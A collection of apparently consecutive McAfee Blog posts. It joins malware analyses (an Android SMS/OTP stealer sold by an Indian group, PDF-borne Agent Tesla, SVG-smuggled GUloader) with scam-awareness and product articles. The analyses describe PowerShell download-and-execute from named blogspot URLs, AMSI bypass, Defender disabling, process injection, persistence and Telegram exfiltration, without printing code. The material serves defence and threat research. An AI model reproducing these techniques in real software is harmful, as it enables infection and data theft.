We also discovered that the cybercriminal group was selling malware in a Telegram group. Based on these observations, we believe that ELVIA INFOTECH is a professional cybercriminal organization engaged in the development, maintenance, and sale of malware and phishing websites.
Figure 2. Telegram Group conversation.
This malware has been maintained and recently updated, and hundreds of malicious applications were created. They like to use the file names such as “CustomerSupport.apk”, “Mahavitaran Bill Update.apk”, “Appointment Booking.apk”, “Hospital Support.apk”, “Emergency Courier.apk” and the application names such as “Customer Support”, “Blue Dart”, “Hospital Support”,” Emergency Courier” to trick victims, below are some applications’ names and icons.
Figure 3. Some applications’ names and icons
Not only do they pretend to be “Customer Support”, but they also pretend to be popular courier companies like “Blue Dart” in India, but they also target utility companies like “Mahavitaran” (Power Corporation of India).
Once victims click the fake icon, the application will be launched and start to attack victims.
1. Loading Phishing Pages
The phishing page loads once the application is launched. It will disguise itself as a page of various legitimate services, making victims believe that they are visiting a legitimate service website. Here, victims are tricked into providing sensitive information such as name, address, phone number, bank card number, and password. However, once submitted, this information falls into the hands of scammers, allowing them to easily access and control the victim’s bank account.
We found that most of this attack campaign impersonated carrier package delivery companies.
Figure 4. Phishing Pages Load Once App Launches
The malware developers also designed different phishing pages for different applications to deceive victims in different scenarios that exploit electricity bill payments and hospital appointments.
Figure 5. Hospital appointment and Electricity Bill Phishing Pages
2. Stealing One-Time Passwords via SMS message
As a core design of this malware, the application requests permissions to allow it to send and view SMS messages once it launches.
Figure 6. Request SMS permissions.
If victims click the “Allow” button, the malware starts a background service that secretly monitors users’ text messages and forwards them to a number which is from C2 server.
Figure 7. Forward phone number from C2 server
This step is crucial for the scam process, as many banks send a one-time password (OTP) to the customer’s phone for transaction verification. Using this method, the scammers can obtain these OTPs and successfully complete bank transactions.
This malicious app and the developers behind it have emerged rapidly in India from last year to now, purposefully developing and maintaining malware, and focusing on deploying well-designed phishing websites through legitimate platforms. The group secretly promotes and sells its malware through social media platforms, making the spread of the malware more subtle and difficult to detect. This tactic resulted in an even more severe malware outbreak, posing an ongoing and serious threat to the financial security of Indian users.
Malware campaigns are very persistent and using multiple different applications on different websites can trick many victims into installing these applications and providing their private and personal information, which can then be used to commit fraud. In this environment, ordinary users in India face huge cybersecurity challenges. Therefore, users need to remain vigilant and cautious when dealing with any electronic communications or application download requests that appear legitimate but may contain malware. We strongly recommend users install security software on their devices and always keep it up to date. By using McAfee Mobile Security products, users can further protect their devices and reduce the risks associated with this type of malware, providing a more secure experience.

According to reports from the Federal Trade Commission’s Consumer Sentinel database, text message scams swindled $330 million from Americans in 2022 alone. The staggering figure highlights a growing concern for consumers globally, who increasingly interact with brands and service providers via text, email, and even social media. As our reliance on technology continues, it is important for everyone to understand how to spot scam texts amid the real messages they receive. amid the real messages they receive.
With such frequent communication from brands and organizations, you can be hard-pressed to figure out what is a scam or not. This practical and actionable advice may be able to help you spot the imposters and protect yourself against even the most hard-to-identify scam messages.
Most of us probably avoid reading disclaimers and terms of service from brands and organizations. Paying attention to guidelines for how an organization will contact you will help you stay safe from scams. Just take it from entertainment host, Andy Cohen.
Cohen received an email he thought was from his bank’s fraud department. Later, the scammer texted Cohen claiming to be from the bank, asking for more information. Cohen ended up sending the scammer money because he believed they were a bank representative. These days, many banks and brands have FYIs on their website about how to spot a legitimate text. Like this page from Chase, which goes over what a real Chase text looks like.
We have a similar disclosure on our site. For example, our customer service teams will never request sensitive information such as social security numbers, PINs, or bank or payment details. As soon as you sign up for a new account, it’s a good idea to check for this sort of disclaimer and familiarize yourself with contact methods and the type of information organizations might request.
Scam messages are so successful because scammers make them look real. During the holidays, when shoppers are ready to leap at deals, scam messages can be hard to resist. With an increased volume of scam texts during major shopping seasons, it’s no wonder open rates can be as high as 98%.
Consumers can protect themselves against realistic-looking scam messages by verifying the source of the message. If an email hits your mobile inbox, click on the sender’s name to expand their full email address. Typical brand emails will have a “do not reply” somewhere in the address or an official “@branddomain.com” email address. Scam email addresses often appear as strings of gibberish.
If unsure whether a text from a company is real, log into your account directly to see if it reflects the overdue bill or extra store credit that the text message suggests.
Knowing about the latest cybersecurity trends is always good practice. Scammers change their tactics constantly. Text scams that were popular one year may be totally out of style the next time you get a scam message.
Individuals looking for a place to start can check out FTC, FBI, and CISA websites. Those agencies offer valuable insights about fraud trends, and recommendations about how people can protect themselves. The Better Business Bureau (BBB) has an interactive scam tracking tool, and AARP provides tips for older Americans who may not be as in tune with the latest tech trends and tools.
Thankfully, the software designed to protect against scams evolves, as well. Consumers can turn to product suites that offer features like finding and removing personal info from sites that sell it, adjusting social media controls and even providing alerts about suspicious financial transactions.
For scam texts, AI is here to help. Text Scam Detector uses AI to scan SMS text messages and alert you about unsafe links. Users can delete those messages without opening them, reducing the risk of compromise and removing any question about whether the message is fraudulent or real.
The $330 million figure is a stark reminder of growing fraud. As we continue into the digital age, the threat of fraudulent communications from scammers looms. To safeguard against bad actors, consumers must be proactive. By paying attention to brand communication guidelines, verifying the source of messages, remaining educated and using modern privacy and identity products, consumers can avoid scams before they start.
The post Scam or Not? How to Tell Whether Your Text Message Is Real appeared first on McAfee Blog.
“Jessica” cost him one million dollars.
In an account to Forbes, one man described how he met “Jessica” online.i Readily, they formed a friendship. Turns out, “Jessica” was a great listener, particularly as he talked about the tough times he was going through. Through chats on WhatsApp, he shared the struggles of supporting his family and rapidly ailing father.
The story telegraphs itself. Yes, “Jessica” was a scammer. Yet this scam put a new twist on an old con game. The man fell victim to a pig butchering scam — a scam that weaves together long strings of messages, cryptocurrency, and bogus investment opportunities.
Many victims lose everything.
“Jessica’s” victim broke down the scam, how it worked, and how he got roped in. It began with an introductory text in October that spun into a WhatsApp transcript spanning 271,000 words. Throughout, he shared his family and financial struggles.
Then, “Jessica” offered hope. Investments that would turn a fast buck.
“Jessica” walked him through several transactions on an app he was told to download. Small investments at first, yet increasingly larger. “Jessica” needed him to invest more and more, despite his reservations. Yet his balance grew and grew each time he followed her explicit directions.
Then, the trap sprung. Twice. In November, he logged into the app and found a negative balance close to half a million dollars. “Jessica” reassured him that he could get it back, and then some. “Jessica” encouraged him to borrow. He did. From his bank and a childhood friend.
Soon, he was back up to nearly $2 million. Or so he thought. In December, he logged into the app once again and found a negative balance of $1 million. His savings and borrowed money alike disappeared — straight into the hands of scammers. All the while, they manipulated the app with a plug-in that fabricated financial results. His whopping gains were actually massive losses.
He’s far from the only victim of pig butchering. Last year, we brought you the story of “Leslie,” a retired woman who fell victim to a different form of the same scam. A so-called friend she met online directed her to invest her retirement funds for even more returns. Soon, a lonely yet otherwise sharp retiree found herself down $100,000.
Victims like these find themselves among the thousands of people who fall for pig butchering scams each year. The problem is global in scope, costing billions of dollars each year. Yet as pig butchering represents a new type of scam, it uses some age-old tricks to separate people from their money.
With that, pig butchering scams are preventable. Awareness plays a major role, along with several other steps people can take to keep it from happening to them.
It’s a con game with a vivid name. Just as a livestock farm raises pork for profit, scammers foster long-term relationships with their victims for profit. The scammers start by taking small sums of money, which increase over time, until the victim finally gets “fattened up” and “butchered” for one final whopping sum. The term appears to have origins in the Chinese phrase zhu zai, meaning “to slaughter a pig.”
What sets pig butchering scams apart from romance scams, elder scams, and other con games is cryptocurrency. Scammers lure their victims into investing in ventures, seemingly profitable ones because the scammers appear to make the same investments themselves. With great success. Victims then mirror those investments, yet the “market” is rigged. With phony sites and apps, the scammers point to big gains — which are all mocked up on the screen. Instead, the money goes straight to them.
The scam follows a script, one that “Jessica” played out to the letter. You can see the steps.
It starts out innocently enough. A text on the phone, a note on a messaging app, or a direct message on social media comes to the victim from out of the blue. It’s from someone they don’t know, and they might ask a simple question, like …
“Is this John? We shared a tee time at the course last week and I have that extra club I said I’d give you.”
“Hi, Sally. It’s me. Sorry I can’t make lunch today. Can we reschedule?”
Or even as simple as …
“Hey.”
These “wrong number” texts and messages are anything but unintended. In some cases, victims get randomly picked. Blasts of texts and messages get sent to broad audiences, all in the hope that a handful of potential victims will reply.
Yet, by and large, victims get carefully selected. And researched. The scammers work from a dossier of info gathered on the victim, full of tidbits harvested from the victim’s online info and social media profiles. Who puts together those dossiers? Often, it’s a large, organized crime operation. The scammer behind the messages is only one part of a much larger scamming machine, which we’ll cover in a bit.
With that intel in hand, the scammers have their opening.
After an introduction, the scammer kicks off a conversation. Over time, the conversations get personal. And those personal touches have a way of luring people in. Scammers pose as another person, such as “Jessica,” sprinkle things into the conversation like similar interests or family backgrounds. Anything that’s just enough to intrigue the victim and keep them chatting.
From there, scammers play a long con game, building trust with their victims over time. Things tend to get increasingly personal. The scammer pumps the victim for more and more news of their life. What they’re worried about. What dreams they have. And in cases where the scam takes a romantic turn, how they’ll build a life together.
Then, money comes into play.
With a solid read on their victims and their lives, scammers drop hints about investment opportunities with big returns. The scammer rarely takes the money themselves. In fact, they almost always insist that the victim handles the money themselves. Instead, scammers lure their victims into using bogus apps that look like they support a legitimate trading platform. Yet they’re not. These apps act as a direct line to the scamming operation that the scammer’s working for. The money goes right into their pocket.
Meanwhile, victims see something else entirely. Scammers give them step-by-step instructions that cover what to invest, where, and how to conduct transactions with cryptocurrency. The sums start small. First $5,000 or $10,000. The victim checks in with their new investment “app” and sees a great gain. The process repeats, as the sums get proverbially fatter and fatter.
Finally, the truth comes out. Hard reality strikes when victims try to transfer their cryptocurrency out of their app. They can’t. There’s nothing there. The scammers manipulated the info on that bogus app. All the investments, all the transaction history, and all the earnings — fake.
And because the scammers did their dirty work in cryptocurrency, that money is gone. Practically untraceable and practically impossible to get back.
Clearly, “Jessica” followed this scam to the letter. However, it’s highly likely “Jessica” didn’t work alone.
Organized crime props up the vast majority of pig butchering scams.
The United States FBI points to several large-scale pig butchering operations, centered mostly in Southeast Asia.ii Other findings point to operations in Nigeria, where thousands of “Yahoo Boys” fire off romantic messages in their form of a pig butchering ring.iii
In another account, a Reuters Special Report traced $9 million to an account registered to a well-connected representative of a Chinese trade group in Thailand — which hinted at yet broader collusion and fraud.
These are big-time scams, backed by big-time operations. They run like them too.
They have dev and design teams that create legit-looking finance apps. They have even further trappings of a large, legitimate company, including support, customer service, accounting, and the like to manage transactions. Then they have their front-line operatives, the people doing the texting and messaging.
However, many of these front-line scammers do it against their will.
An even darker aspect of pig butchering scams reveals itself when you discover who does the actual dirty work. As reported by the FBI, these front-line scammers are often human trafficking victims:
Criminal actors target victims, primarily in Asia, in employment fraud schemes by posting false job advertisements on social media and online employment sites. The schemes cover a wide range of opportunities, to include tech support, call center customer service, and beauty salon technicians.
Job seekers are offered competitive salaries, lucrative benefits, paid travel expenses as well as room and board. Often throughout the process, the location for the position is shifted from the advertised location. Upon job seekers’ arrival in the foreign country, criminal actors use multiple means to coerce them to commit cryptocurrency investment schemes, such as confiscation of passports and travel documents, threat of violence, and use of violence.iv
The cruel fact of pig butchering scams is this: victims victimize victims.
Meanwhile, organized crime operations get rich. One piece of academic research traced $75.3 billion to one suspected pig butchering network alone between 2020 and 2024.v
In the U.S., the FBI points to $2.57 billion in cryptocurrency and pig butchering fraud reports in 2022.vi As always with such figures, many losses go unreported. That figure climbs much higher. Yet higher still when it accounts for victims worldwide.
Effective pig butchering requires that dossier we talked about before. A profile of the victim that includes personal details siphoned from online sources. One move that can lower your risk of becoming a target involves trimming down your presence online.
Steps include …
Make your social media more private. Our new McAfee Social Privacy Manager personalizes your privacy based on your preferences. It does the heavy lifting by adjusting more than 100 privacy settings across your social media accounts in only a few clicks. This makes sure that your personal info is only visible to the people you want to share it with. It also keeps it out of search engines where the public can see it. Including scammers.
Watch what you post on public forums. As with social media, scammers harvest info from online forums dedicated to sports, hobbies, interests, and the like. If possible, use a screen name on these sites so that your profile doesn’t immediately identify you. Likewise, keep your personal details to yourself. When posted on a public forum, it becomes a matter of public record. Anyone, including scammers, can look it up.
Remove your info from data brokers that sell it. McAfee Personal Data Cleanup helps you remove your personal info from many of the riskiest data broker sites out there. Running it regularly can keep your name and info off these sites, even as data brokers collect and post new info. Depending on your plan, it can send requests to remove your data automatically.
Delete your old accounts. Yet another source of personal info comes from data breaches. Scammers use this info as well to complete a sharper picture of their potential victims. With that, many internet users can have over 350 online accounts, many of which they might not know are still active. McAfee Online Account Cleanup can help you delete them. It runs monthly scans to find your online accounts and shows you their risk level. From there, you can decide which to delete, protecting your personal info from data breaches and your overall privacy as a result.
Whether you think you’re a target or think you know someone who might be, you can take immediate steps to stop a pig butchering attack. It begins with awareness. Simply by reading this blog article, you’ve gained an understanding of what these attacks are and how they work. Not to mention how costly they can be.
If you think something sketchy is going on, take the following steps:
Ignore it.
It’s that simple. The fact that a lot of these scams start over WhatsApp and text messages means that the scammer either got your phone number online or they targeted your number randomly. In either case, they count on your response. And continued responses. In many cases, the initial contact is made by one person and viable candidates are passed on to more seasoned scammers. Bottom line: don’t interact with people you don’t know. No need to reply with “Sorry, wrong number” or anything like that. Ignore these messages and move on.
When a stranger you’ve just met online brings up money, consider it a scam.
Money talk is an immediate sign of a scam. The moment a person you’ve never met and got to know face to face asks for money, put an end to the conversation. Whether they ask for money, bank transfers, cryptocurrency, money orders, or gift cards, say no. And with pig butchering scams, never follow their directions for making a specific investment with specific tools. Doing so only funnels money into the scamming operation’s coffers.
End the conversation.
You might say no, and the scammer might back off — only to bring up the topic again later. This is a sign to end the conversation. That persistence is a sure sign of a scam. Recognize that this might be far easier said than done, as the saying goes. Scammers horn their way into the lives of their victims. A budding friendship or romance might be at stake. That’s what the scammers want you to think. They play off emotions. Hard as it is, end the relationship.
Talk with trusted friends or family members. And look out for them too.
Sometimes it takes an extra set of eyes to spot a scammer. Conversations with scammers won’t always add up. By talking about the people you meet online with someone you trust can help you see when it doesn’t. Given the way that scammers pull all kinds of strings on their victims, conversation — even to the point of showing messages to a friend — can help clear up any clouded judgment.
Alarming as pig butchering stories sound, not every new person you meet online is out to get you. For every “Jessica” out there, you’ll find far more genuine people who really do want to strike up a friendship with you. Yet as these scams increase, our guard must go up as well.
It’s always been good advice to take a relationship slowly online. Scammers have long taken advantage of people who rush to provide personal details and hand over their trust. As with any confidence scam, look for people who want to have a video call with you, meet in person in a public place, or otherwise give you the chance to see that they’re a genuine person. And not a “Jessica.”
Know those signs of a scam when you see them. And if they rear their head, act on them.

Arati, Sr. Director, Engineering
“During my school days, I was a curious student who did well in Science and Maths. My classmates often sought my help understanding challenging concepts, which fueled my confidence and solidified my love for these fields. I thrived in stimulating environments where I could push boundaries and explore my full potential, and STEM offered exactly that.

McAfee Labs has recently observed a significant surge in the distribution of prominent malware through PDF files. Malware is not solely sourced from dubious websites or downloads; certain instances of malware may reside within apparently harmless emails, particularly within the PDF file attachments accompanying them. The subsequent trend observed in the past three months through McAfee telemetry pertains to the prevalence of malware distributed through non-portable executable (non-PE) vectors.
Figure 1: Rise in PDF malware
Upon implementing Microsoft‘s macro-blocking measures for Internet-delivered Office files, threat actors were compelled to devise alternative methods for email malware distribution. The complex structure of PDF files renders them susceptible to exploitation, posing significant challenges in detecting malicious content within. As a commonly employed file format distributed via email attachments in the consumer domain, PDFs represent an enticing avenue for attackers to deceive users into believing they are benign. Exploiting this trust, attackers can readily craft PDF-based malware, often containing payloads hosted on malicious websites. Upon user interaction, such as clicking a link, these PDFs download the hosted payload, exacerbating the risk of infection.
This emerging infection chain involving, among others, Agent Tesla, initiates from an email containing a PDF attachment, which subsequently facilitates the dissemination of the ultimate payload. In the outdated and unpatched version of Acrobat Reader, PDFs directly execute embedded JavaScript using MSHTA, subsequently launching PowerShell, which facilitates process injection. Conversely, in the latest version of Acrobat Reader, PDFs are unable to execute JavaScript directly. Instead, they redirect to a malicious website, from which the script is downloaded. The subsequent process remains consistent with the previous case. The kill chain for the delivery of Agent Tesla unfolds as follows:
Figure 2: Infection Chain
Firstly, we shall address the scenario involving the updated version of Acrobat Reader, as it is likely that the majority of users will have this version installed. Typically, these PDF files are disguised under various themes such as invoices featuring a prominent download button, messages prompting immediate action, or buttons designed to redirect users to seemingly benign destinations.
In a recent attack, a file named “Booking.com-1728394029.pdf” was used. It is evidently targeting users under the guise of being affiliated with Booking.com. It displays a prompt stating, “Lettore non è compatibile!”, which translates to “Player is not compatible,” as depicted in the provided Figure below.
Figure 3: Face of PDF attachment
Upon examining the internal structure of the PDF (Figure 4), it was discovered that within one of the seven objects, some hex data and an embedded URL were identified. The URL highlighted in the red box “https://bit[.]ly/newbookingupdates” is a Bitly URL. Attackers use Bitly URLs to hide malicious links, making them harder to detect. This is especially useful in phishing schemes where they trick users into revealing sensitive information. Bitly’s dynamic links allow attackers to change destinations, enhancing their ability to evade detection. Additionally, attackers exploit the trust associated with Bitly to improve the success of their social engineering tactics.
This URL is intended to connect to https://bio0king[.]blogspot[.]com
Figure 4: Embedded data in PDF
The text in yellow highlighted in Figure 4, appears to be in hexadecimal format. Upon converting it to ASCII, the result is as follows:
Figure 5: ASCII Conversion
This is the reason behind the prompt observed in Figure 3, displaying the same alert message upon opening the PDF document.
After clicking “OK,” another prompt appeared from Adobe Player, cautioning about the connection established to the address mentioned in the prompt i.e. “bit.ly”.
Figure 6: Connection to embedded URL
Upon granting permission for redirection, the user is directed to the website “https://bio0king[.]blogspot[.]com”. Thus, an attempt is made to disguise itself as a legitimate Booking.com website. As illustrated in the figure below, Microsoft Defender SmartScreen alerts the user to the harmful nature of this website. Despite the warning, further analysis was conducted by proceeding to the website to observe subsequent actions.
Figure 7: Connection to disguised website
Upon accessing the website, it was observed that a JavaScript file named “Booking.com-1728394029.js” was promptly downloaded. The js file was intentionally named identically to the PDF file in an effort to deceive users into opening it.
Figure 8: Prompt of JS file download
Immediately upon initiating the download, redirection is triggered to the legitimate Booking.com website, aiming to prevent users from detecting any suspicious activity. The downloaded file is stored in the Downloads folder on the user’s system.
Figure 9: JS file downloaded
The content of the JavaScript file is heavily obfuscated. This tactic is commonly employed by attackers to conceal their code, thus complicating analysis efforts and evading detection mechanisms.
Figure 10: JS file content
Upon executing the JavaScript, the following process tree was observed:
Figure 11: Process tree
Command line:
Upon decoding and executing “Booking.com-1728394029.js,” a URL was acquired: “htloctmain25.blogspot.com/////////////////////////atom.xml.”
Using the PowerShell command line, an attempt was made to access the file located at htloctmain25.blogspot.com/////////////////////////atom.xml, followed by executing the file using Invoke-Expression (iex). In this instance, the attackers attempted to obfuscate the Invoke-Expression (iex) command by using the replace command within the PowerShell command line. As illustrated in the command line, a sleep command was implemented, pausing execution for 5 seconds. Subsequent stages of the infection proceeded after this interval.
The file hosted at http://htloctmain25.blogspot.com/////////////////////////atom.xml is named atom.ps1, measuring approximately 5.5 MB in size. The figure below depicts the content of the file:
Figure 12: Content of .ps1 file
Let’s begin deciphering this script shown in Figure 11 with reference:
The Red marked content at the top of the script indicates that it will terminate several specified processes (“RegSvcs”, “mshta”, “wscript”, “msbuild”, “FoxitPDFReader”), presumably with the intention of injecting the final payload into one of these legitimate binaries. Furthermore, the script creates a directory at “C:\ProgramData\MINGALIES” for potential future utilization.
The Blue marked content within the script represents the decryption function, labeled as “asceeeeeeeeeeeeeeee”. This function is subsequently employed to decrypt various variables within the script.
The Green marked content towards the end of the script outlines the implementation of the persistence mechanism and describes the injection process into legitimate executables.
For reference and ease of comprehension, the variables defined in the script have been numbered accordingly. The decryption instructions for these variables are highlighted in Yellow for clarity and emphasis.
Following the sequence of instructions, if any of the specified processes are terminated, the script proceeds to define variables 1 and 2. Subsequently, the decryption loop is defined in the script. After the decryption loop, variable 3, named “Phudigum”, is defined in the script. Following that, the script decrypts variable 3 and executes the obtained decoded data using the Invoke-Expression (IEX) command.
The content of the decoded variable 3 is as follows:
Figure 13: Variable 3 after decryption
The code first bypasses the Microsoft Windows Anti-Malware Scan Interface (AMSI) scanning by setting a specific value and then proceeds to create registry entries for persistence. The script also defines functions for interacting with the system’s memory and sets global error action preferences to silently continue, suppressing any errors. It checks if a type named AMSIReaper exists and if not, defines this type with various declarations for interacting with the Windows kernel32.dll, including functions related to process memory manipulation.
Furthermore, the script executes a series of malicious actions aimed at compromising the security of the system. It begins by adding exclusions for specific file extensions, paths, and processes in Windows Defender, effectively evading detection for these items. Subsequently, it attempts to alter various Windows Defender preferences, such as disabling critical security features like the Intrusion Prevention System, Real-time Monitoring, and Script Scanning, while also adjusting settings related to threat actions and reporting. Furthermore, the script tries to modify registry settings associated with User Account Control (UAC) and disable the Windows Firewall, further weakening the system’s defenses. Lastly, it resets the global error action preference to continue, potentially concealing any errors encountered during execution and ensuring the script’s malicious actions remain undetected. Overall, these actions indicate a concerted effort to compromise the system’s security and potentially enable further malicious activities.
The subsequent instruction in Figure 11 involves decrypting variable 2, labeled as “bulgumchupitum,” utilizing the decryption function “asceeeeeeeeeeeeeeee.” And the same is executed by Invoke-Expression (IEX) command. Following is the decoded content of variable 2:
Figure 14: Variable 2 after decryption
The content obtained after decrypting variable 2 holds significant importance. The highlighted section in Red does the following:
The next section marked Blue in Figure 13, does the following:
Figure 15: Data 1
Data 1 comprises a .NET DLL file. As previously indicated, the script invokes the method ‘C’ from the type named ‘A.B’. Despite the high level of obfuscation in the file shown in Figure 15, the presence of method ‘C’ can be observed (highlighted in yellow). Additionally, within the script, there is a specific function where the path to framework executables and data are being passed (highlighted within the red box).
Figure 16: Data 1 dll
This DLL is responsible for injecting data2, which is Agent Tesla, as a payload into the Regsvcs.exe process. The following figure shows the configuration of data2. The depicted configuration of data2 disguises it as a legitimate McAfee package file shown in Figure 16. However, it lacks a valid certificate, indicating its fraudulent nature.
Figure 17: Data2
The executable file exhibits a high degree of obfuscation, rendering its content largely unreadable. Numerous methods are present, each bearing meaningless names, a deliberate tactic employed to impede analysis by researchers.
Figure 18: Data2 exe
The attackers have intricately orchestrated the obfuscation process. Each string undergoes decryption through a series of instructions, with specific parameters being passed to obtain the deciphered content. This meticulous approach is designed to add layers of complexity and hinder straightforward analysis. For instance, in Figure 18, through reverse engineering, we can observe how it begins querying the browser for information. The highlighted instruction is the one which after decrypting gives the path of the Opera browser.
Figure 19: Fetching browser information
The following ProcMon logs show all the broswers the malware queried:
Figure 20: Procmon logs of browsers(1)
Figure 21: Procmons logs for browsers(2)
In addition to this, it steals sensitive information such as browser history, cookies, credentials, SMTP information, session information, and email client data such as Otlook profiles, etc.
Figure 22: Credentials
Through debugging the code, we were able to uncover the domain it was utilizing for exfiltration. The following figure shows the URL used for exfiltration:
Figure 23: Domain obtained
The same was evident from Procmon logs shown in the Figure below:
Figure 24: Procmon logs of Connection for exfiltration
The DNS record of IP address 149.154.167.220 belongs to Telegram messenger.
Figure 25: DNS record
AgentTesla leverages Telegram bots for data exfiltration due to several advantageous factors. Firstly, Telegram provides robust end-to-end encryption, ensuring the security of transmitted data. Secondly, the platform offers anonymity for bot creators, enhancing the stealth of malicious activities. Thirdly, Telegram’s user-friendly interface simplifies communication processes for both attackers and their command-and-control infrastructure. Additionally, since Telegram is a widely used messaging platform, traffic to its servers may appear less suspicious compared to other channels, aiding in evading detection. Moreover, Telegram’s infrastructure resilience makes it a reliable option for maintaining communication channels even amidst takedown efforts.
Overall, the combination of security, anonymity, ease of use, stealth, and resilience makes Telegram bots an appealing choice for AgentTesla’s data exfiltration tactics. And to achieve this, it establishes contact with the respective domain associated with the bot and transmits the data, which is then tracked by a specific bot ID.
Figure 26: TelegramBot for exfiltration
In a nutshell, this script was tasked with decoding the payload, retrieving legitimate .NET executable paths, performing process injection to execute the malware, collecting data, and ultimately exfiltrating the acquired information.
Moving forward with atom.ps1 (Figure 11), the next is variable 4, labeled as “koaskodkwllWWW”, and is decrypted using the function “asceeeeeeeeeeeeeeee”. Upon decryption, the content is decoded as follows:
Figure 27: Variable 4 decoded
This script establishes persistence by:
Ultimately, the content highlighted in green in Figure 11 performs the final task. The instructions are as follows:
Figure 28: Persistence instructions
Now, after substituting the values:
We inspected registry entries and scheduled task entries for cross-verification. And the script did as directed:
Figure 29: Registry entry for Persistence
Figure 30: Task Scheduler
Figure 31: Procmon logs for persistence
In summary, the script is configured to execute again after 213 minutes, creating a Run entry named “chromeupdateri” and fetching the atom.ps1 file again from “htljan62024.blogspot.com//////////atom.xml”.
Upon opening the PDF in the old, unpatched version of Acrobat Reader, a prompt immediately appeared indicating the launch of MSHTA along with the entire JavaScript code contained therein. This is depicted in the figure below.
Figure 32: Prompt for embedded javascript
Upon examining the streams of the PDF, we discovered the identical script embedded within the document:
Figure 33: Embedded javascript in PDF
After the launch of MSHTA, an instance of PowerShell is invoked, initiating process injection into Regsvcs.exe and injection of AgentTesla. Consequently, utilizing an old and unpatched version of Acrobat Reader, interaction with the PDF is unnecessary; mere opening of the PDF file results in system infection by the malware.
The chain of events initiates with the delivery of a PDF file containing malicious content. Upon opening the PDF, the embedded malicious code triggers the execution of a JavaScript payload, leading to the download and execution of a PowerShell script. This PowerShell script then decrypts and executes a binary, in the form of a .NET DLL file, which injects AgentTesla payload into legitimate processes to evade detection. The malware communicates with command-and-control servers, exfiltrating sensitive data through Telegram bots for stealthy transmission. To ensure persistence, the malware establishes scheduled tasks and registry entries, allowing it to execute periodically and maintain its presence on the infected system. In the old version of Acrobat Reader, opening the PDF triggered the automatic execution of malicious JavaScript, leading to the injection of AgentTesla malware via PowerShell into Regsvcs.exe. Inspection of the PDF streams revealed the embedded script, further confirming the exploitation of vulnerabilities without requiring user interaction. This orchestrated sequence underscores the sophisticated nature of the attack, spanning from initial infection to data exfiltration and persistent infiltration, posing significant challenges for detection and mitigation efforts.

The post Rise in Deceptive PDF: The Gateway to Malicious Payloads appeared first on McAfee Blog.
Authored by: Vignesh Dhatchanamoorthy
In the ever-evolving landscape of cybersecurity threats, staying ahead of malicious actors requires a deep understanding of their tactics and tools. Enter GUloader, a potent weapon in the arsenal of cybercriminals worldwide. This sophisticated malware loader has garnered attention for its stealthy techniques and ability to evade detection, posing a significant risk to organizations and individuals.
One of GUloader’s distinguishing features is its utilization of evasion techniques, making it particularly challenging for traditional security measures to detect and mitigate. Through polymorphic code and encryption, GUloader can dynamically alter its structure, effectively masking its presence from antivirus software and intrusion detection systems. This adaptability enables GUloader to persistently infiltrate networks and establish footholds for further malicious activity.
McAfee Labs has observed a recent GUloader campaign being distributed through a malicious SVG file delivered via email.
The SVG (Scalable Vector Graphics) file format is a widely used vector image format designed for describing two-dimensional vector and mixed vector/raster graphics in XML. One of the key features of SVG files is their support for interactivity and animation, achieved through JavaScript and CSS.
Modern web browsers such as Google Chrome, Mozilla Firefox, and Microsoft Edge have built-in support for rendering SVG files. When you open an SVG file in Chrome or Firefox, the browser renders the vector graphics using its built-in SVG rendering engine. This engine interprets the XML-based SVG code and displays the image accordingly on the web page.
Browsers treat SVG files as standard web content and handle them seamlessly within their browsing environments.
Figure 1: Infection chain
The execution process begins with the opening of an SVG file from an email attachment. This action triggers the browser to download a ZIP file. Within this ZIP file is a WSF (Windows Script File), acting as the conduit for the subsequent stage. Upon execution of the WSF, wscript calls the PowerShell command to establish a connection with a malicious domain and execute the hosted content. This content includes shellcode injected into the MSBuild application, facilitating further malicious actions.
Figure 2: Process Tree
A recipient receives a spam email that contains malware embedded in archived attachments. The attachment contains a malicious SVG file named “dhgle-Skljdf.svg”
Figure 3: Spam Email
JavaScript that was smuggled inside of the SVG image contained the entire malicious zip archive. When the victim opened the attachment from the email the smuggled JavaScript code inside the SVG image created a malicious zip archive, and then presented the user with a dialog box to decrypt and save the file.
Figure 4: Saving file prompt
The SVG file utilizes a Blob object that contains the embedded zip file in base64 format. Subsequently, the zip file is dropped via the browser when accessed.
Figure 5: SVG file code
Inside the zip file, there is an obfuscated WSF (Windows Script File). The WSF script employs several techniques to make analysis quite difficult.
Figure 6: Obfuscated WSF Script
It invokes PowerShell to establish a connection with a malicious domain, subsequently executing the hosted content retrieved from it.

The above PowerShell script attempts to load the shellcode into the legitimate MSBuild process using the Process Hollowing technique.
After injection, the shellcode executes anti-analysis check then it modifies the Registry run key to achieve persistence.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
The final stage uses the injected shellcode to download and execute the final malicious executable. GuLoader can also download and deploy a wide range of other malware variants.

The post GUloader Unmasked: Decrypting the Threat of Malicious SVG Files appeared first on McAfee Blog.
If you’re concerned about your privacy on social media, you have plenty of company. Here’s something else you have — a great way to lock it down.
Just how concerned are people about their privacy on social media? We asked. Worldwide, 73% of social media users said they’re highly concerned with their security and privacy on social media platforms.
And for parents of teens, those concerns about privacy on social media weigh even heavier. Fresh insights published by Pew Research[i] reveal that nearly 1 in 5 teens in the U.S. said they’re on YouTube and TikTok “almost constantly.”
With social media usage and privacy concerns so high, we created McAfee’s Social Privacy Manager.
If you’ve ever taken a dive into the privacy settings on your social media accounts, you know just how deep they can go. And if you haven’t, it can involve dozens of individual menus and settings. In all, it can get tricky when it comes time to setting them the way you like. It’s a lot of work. Plenty of work when you consider how platforms change and update their settings over time.
Our Social Privacy Manager does that work for you, automatically adjusting more than 100 privacy settings across all the accounts you choose. As a result, you can reduce the amount of data being collected and ensure your info is only visible to the people you want to share it with — which can help keep your personal info out of the wrong hands. As we’ll see, social media provides a wealth of info that hackers and scammers can potentially use against you.
That’s why privacy on social media matters so much. Let’s start with a look at what bad actors are up to on social media and at how much time teens are spending on it. From there, we’ll hop into how quickly and easily McAfee’s Social Privacy Manager can help keep you and your family far safer than before.
For some time, we’ve seen how hackers and scammers use social media to fuel their attacks and scams. It’s an open book. A book about you. Your likes, your life, not to mention the photos of where you go, what you like to do, and who you do it with. That info is as good as gold for hackers and scammers.
With that exacting kind of info, bad actors out there can commit identity theft and cook up phishing scams using relevant info about you. An analogy explains how. Your identity is like a puzzle, and various pieces of personal info are the pieces. With enough pieces, a bad actor can put together a puzzle picture of you. One that’s complete just enough to open a loan, make an insurance claim, or pose as you in some way.
